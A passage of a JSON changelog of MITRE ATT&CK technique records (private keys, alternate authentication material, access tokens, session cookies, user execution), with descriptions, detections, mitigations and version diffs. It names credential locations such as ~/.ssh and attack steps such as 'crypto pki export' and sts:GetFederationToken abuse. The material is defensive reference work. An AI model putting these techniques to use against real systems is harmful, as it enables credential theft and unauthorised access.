>cation, encryption/decryption, and digital signatures.(Citat>cation, encryption/decryption, and digital signatures.(Citat
>ion: Wikipedia Public Key Crypto) Common key and certificate>ion: Wikipedia Public Key Crypto) Common key and certificate
> file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pe> file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pe
>m, .pfx, .cer, .p7b, .asc.   Adversaries may also look in co>m, .pfx, .cer, .p7b, .asc.   Adversaries may also look in co
>mmon key directories, such as <code>~/.ssh</code> for SSH ke>mmon key directories, such as <code>~/.ssh</code> for SSH ke
>ys on * nix-based systems or <code>C:&#92;Users&#92;(usernam>ys on * nix-based systems or <code>C:&#92;Users&#92;(usernam
>e)&#92;.ssh&#92;</code> on Windows. Adversary tools may also>e)&#92;.ssh&#92;</code> on Windows. Adversary tools may also
> search compromised systems for file extensions relating to > search compromised systems for file extensions relating to 
>cryptographic keys and certificates.(Citation: Kaspersky Car>cryptographic keys and certificates.(Citation: Kaspersky Car
>eto)(Citation: Palo Alto Prince of Persia)  When a device is>eto)(Citation: Palo Alto Prince of Persia)  When a device is
> registered to Azure AD, a device key and a transport key ar> registered to Entra ID, a device key and a transport key ar
>e generated and used to verify the device\u2019s identity.(Citati>e generated and used to verify the device\u2019s identity.(Citati
>on: Microsoft Primary Refresh Token) An adversary with acces>on: Microsoft Primary Refresh Token) An adversary with acces
>s to the device may be able to export the keys in order to i>s to the device may be able to export the keys in order to i
>mpersonate the device.(Citation: AADInternals Azure AD Devic>mpersonate the device.(Citation: AADInternals Azure AD Devic
>e Identities)  On network devices, private keys may be expor>e Identities)  On network devices, private keys may be expor
>ted via [Network Device CLI](https://attack.mitre.org/techni>ted via [Network Device CLI](https://attack.mitre.org/techni
>ques/T1059/008) commands such as `crypto pki export`.(Citati>ques/T1059/008) commands such as `crypto pki export`.(Citati
>on: cisco_deploy_rsa_keys)   Some private keys require a pas>on: cisco_deploy_rsa_keys)   Some private keys require a pas
>sword or passphrase for operation, so an adversary may also >sword or passphrase for operation, so an adversary may also 
>use [Input Capture](https://attack.mitre.org/techniques/T105>use [Input Capture](https://attack.mitre.org/techniques/T105
>6) for keylogging or attempt to [Brute Force](https://attack>6) for keylogging or attempt to [Brute Force](https://attack
>.mitre.org/techniques/T1110) the passphrase off-line. These >.mitre.org/techniques/T1110) the passphrase off-line. These 
>private keys can be used to authenticate to [Remote Services>private keys can be used to authenticate to [Remote Services
>](https://attack.mitre.org/techniques/T1021) like SSH or for>](https://attack.mitre.org/techniques/T1021) like SSH or for
> use in decrypting other collected files such as email.> use in decrypting other collected files such as email.
", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1027: Password Policies", + "M1041: Encrypt Sensitive Information", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-30 16:18:36.873000+00:00", + "modified": "2024-10-15 16:09:19.001000+00:00", + "name": "Use Alternate Authentication Material", + "description": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1550", + "external_id": "T1550" + }, + { + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" + }, + { + "source_name": "NIST Authentication", + "description": "NIST. (n.d.). Authentication. Retrieved January 30, 2020.", + "url": "https://csrc.nist.gov/glossary/term/authentication" + }, + { + "source_name": "NIST MFA", + "description": "NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved September 25, 2024.", + "url": "https://csrc.nist.gov/glossary/term/multi_factor_authentication" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Blake Strom, Microsoft Threat Intelligence", + "Pawel Partyka, Microsoft Threat Intelligence" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Logon Session: Logon Session Creation", + "Active Directory: Active Directory Credential Request", + "Web Credential: Web Credential Usage", + "User Account: User Account Authentication" + ], + "x_mitre_defense_bypassed": [ + "System Access Controls" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Containers", + "Identity Provider", + "Office Suite" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:09:19.001000+00:00\", \"old_value\": \"2024-04-28 15:43:30.271000+00:00\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved September 25, 2024.\", \"old_value\": \"NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://csrc.nist.gov/glossary/term/multi_factor_authentication\", \"old_value\": \"https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][4]\": \"Identity Provider\", \"root['x_mitre_platforms'][5]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Office 365\", \"root['x_mitre_platforms'][3]\": \"Google Workspace\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1015: Active Directory Configuration", + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1047: Audit" + ], + "new": [ + "M1036: Account Use Policies" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0006: Web Credential (Web Credential Usage)", + "DS0015: Application Log (Application Log Content)", + "DS0026: Active Directory (Active Directory Credential Request)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-30 17:37:22.261000+00:00", + "modified": "2024-10-15 15:38:11.583000+00:00", + "name": "Application Access Token", + "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user\u2019s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1550/001", + "external_id": "T1550.001" + }, + { + "source_name": "Crowdstrike AWS User Federation Persistence", + "description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.", + "url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/" + }, + { + "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019", + "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", + "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/" + }, + { + "source_name": "AWS Logging IAM Calls", + "description": "AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html" + }, + { + "source_name": "AWS Temporary Security Credentials", + "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html" + }, + { + "source_name": "Microsoft Identity Platform Access 2019", + "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens" + }, + { + "source_name": "Google Cloud Service Account Credentials", + "description": "Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022.", + "url": "https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials" + }, + { + "source_name": "GCP Monitoring Service Account Usage", + "description": "Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022.", + "url": "https://cloud.google.com/iam/docs/service-account-monitoring" + }, + { + "source_name": "okta", + "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.", + "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen" + }, + { + "source_name": "Rhino Security Labs Enumerating AWS Roles", + "description": "Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through \u2018AssumeRole\u2019. Retrieved April 1, 2022.", + "url": "https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration" + }, + { + "source_name": "Staaldraad Phishing with OAuth 2017", + "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.", + "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Shailesh Tiwary (Indian Army)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Mark Wee", + "Ian Davila, Tidal Cyber", + "Dylan Silva, AWS Security", + "Jack Burns, HubSpot", + "Blake Strom, Microsoft Threat Intelligence", + "Pawel Partyka, Microsoft Threat Intelligence" + ], + "x_mitre_data_sources": [ + "Web Credential: Web Credential Usage" + ], + "x_mitre_defense_bypassed": [ + "System Access Controls" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "Containers", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:38:11.583000+00:00\", \"old_value\": \"2024-04-28 15:43:18.080000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.7\", \"old_value\": \"1.6\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][3]\": \"Office Suite\", \"root['x_mitre_platforms'][4]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Office 365\", \"root['x_mitre_platforms'][2]\": \"Google Workspace\", \"root['x_mitre_platforms'][5]\": \"Azure AD\"}}", + "previous_version": "1.6", + "version_change": "1.6 \u2192 1.7", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1021: Restrict Web-Based Content", + "M1041: Encrypt Sensitive Information", + "M1047: Audit" + ], + "new": [ + "M1036: Account Use Policies" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0006: Web Credential (Web Credential Usage)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-30 17:48:49.395000+00:00", + "modified": "2024-10-15 16:11:15.657000+00:00", + "name": "Web Session Cookie", + "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1550/004", + "external_id": "T1550.004" + }, + { + "source_name": "Unit 42 Mac Crypto Cookies January 2019", + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" + }, + { + "source_name": "Pass The Cookie", + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Johann Rehberger", + "Jack Burns, HubSpot" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Web Credential: Web Credential Usage" + ], + "x_mitre_defense_bypassed": [ + "System Access Controls" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "IaaS", + "Office Suite" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:11:15.657000+00:00\", \"old_value\": \"2023-09-19 21:26:24.725000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}, \"root['x_mitre_platforms'][2]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Office 365\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0006: Web Credential (Web Credential Usage)", + "DS0015: Application Log (Application Log Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2024-10-13 15:43:49.208000+00:00", + "name": "User Execution", + "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\nAdversaries may also deceive users into performing actions such as:\n\n* Enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary\n* Running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\n* Downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204)\n* Coerceing users to copy, paste, and execute malicious code manually(Citation: Reliaquest-execution)(Citation: proofpoint-selfpwn)\n\nFor example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1204", + "external_id": "T1204" + }, + { + "source_name": "Krebs Discord Bookmarks 2023", + "description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.", + "url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/" + }, + { + "source_name": "Reliaquest-execution", + "description": "Reliaquest. (2024, May 31). New Execution Technique in ClearFake Campaign. Retrieved August 2, 2024.", + "url": "https://www.reliaquest.com/blog/new-execution-technique-in-clearfake-campaign/" + }, + { + "source_name": "Telephone Attack Delivery", + "description": "Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery" + }, + { + "source_name": "Talos Roblox Scam 2023", + "description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game \u201cRoblox\u201d. Retrieved January 2, 2024.", + "url": "https://blog.talosintelligence.com/roblox-scam-overview/" + }, + { + "source_name": "proofpoint-selfpwn", + "description": "Tommy Madjar, Dusty Miller, Selena Larson. (2024, June 17). From Clipboard to Compromise: A PowerShell Self-Pwn. Retrieved August 2, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Oleg Skulkin, Group-IB", + "Menachem Goldstein", + "Harikrishnan Muthu, Cyble", + "ReliaQuest" + ], + "x_mitre_data_sources": [ + "Instance: Instance Start", + "File: File Creation", + "Network Traffic: Network Connection Creation", + "Container: Container Creation", + "Instance: Instance Creation", + "Network Traffic: Network Traffic Content", + "Process: Process Creation", + "Command: Command Execution", + "Image: Image Creation", + "Application Log: Application Log Content", + "Container: Container Start" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "IaaS", + "Containers" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.7", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-13 15:43:49.208000+00:00\", \"old_value\": \"2024-04-12 03:46:49.507000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\\n\\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\\n\\nAdversaries may also deceive users into performing actions such as:\\n\\n* Enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary\\n* Running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\\n* Downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204)\\n* Coerceing users to copy, paste, and execute malicious code manually(Citation: Reliaquest-execution)(Citation: proofpoint-selfpwn)\\n\\nFor example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)\", \"old_value\": \"An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\\n\\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\\n\\nAdversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary; running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s; or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204).(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\\n\\nFor example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)\", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,11 @@\\n \\n While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\\n \\n-Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary; running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s; or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204).(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\\n+Adversaries may also deceive users into performing actions such as:\\n+\\n+* Enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary\\n+* Running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\\n+* Downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204)\\n+* Coerceing users to copy, paste, and execute malicious code manually(Citation: Reliaquest-execution)(Citation: proofpoint-selfpwn)\\n \\n For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.7\", \"old_value\": \"1.6\"}, \"root['x_mitre_contributors'][1]\": {\"new_value\": \"Menachem Goldstein\", \"old_value\": \"Goldstein Menachem\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Reliaquest-execution\", \"description\": \"Reliaquest. (2024, May 31). New Execution Technique in ClearFake Campaign. Retrieved August 2, 2024.\", \"url\": \"https://www.reliaquest.com/blog/new-execution-technique-in-clearfake-campaign/\"}, \"root['external_references'][5]\": {\"source_name\": \"proofpoint-selfpwn\", \"description\": \"Tommy Madjar, Dusty Miller, Selena Larson. (2024, June 17). From Clipboard to Compromise: A PowerShell Self-Pwn. Retrieved August 2, 2024.\", \"url\": \"https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn\"}, \"root['x_mitre_contributors'][2]\": \"Harikrishnan Muthu, Cyble\", \"root['x_mitre_contributors'][3]\": \"ReliaQuest\"}}", + "previous_version": "1.6", + "version_change": "1.6 \u2192 1.7", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1An adversary may rely upon specific actions by a user in ordt1An adversary may rely upon specific actions by a user in ord
>er to gain execution. Users may be subjected to social engin>er to gain execution. Users may be subjected to social engin
>eering to get them to execute malicious code by, for example>eering to get them to execute malicious code by, for example
>, opening a malicious document file or link. These user acti>, opening a malicious document file or link. These user acti
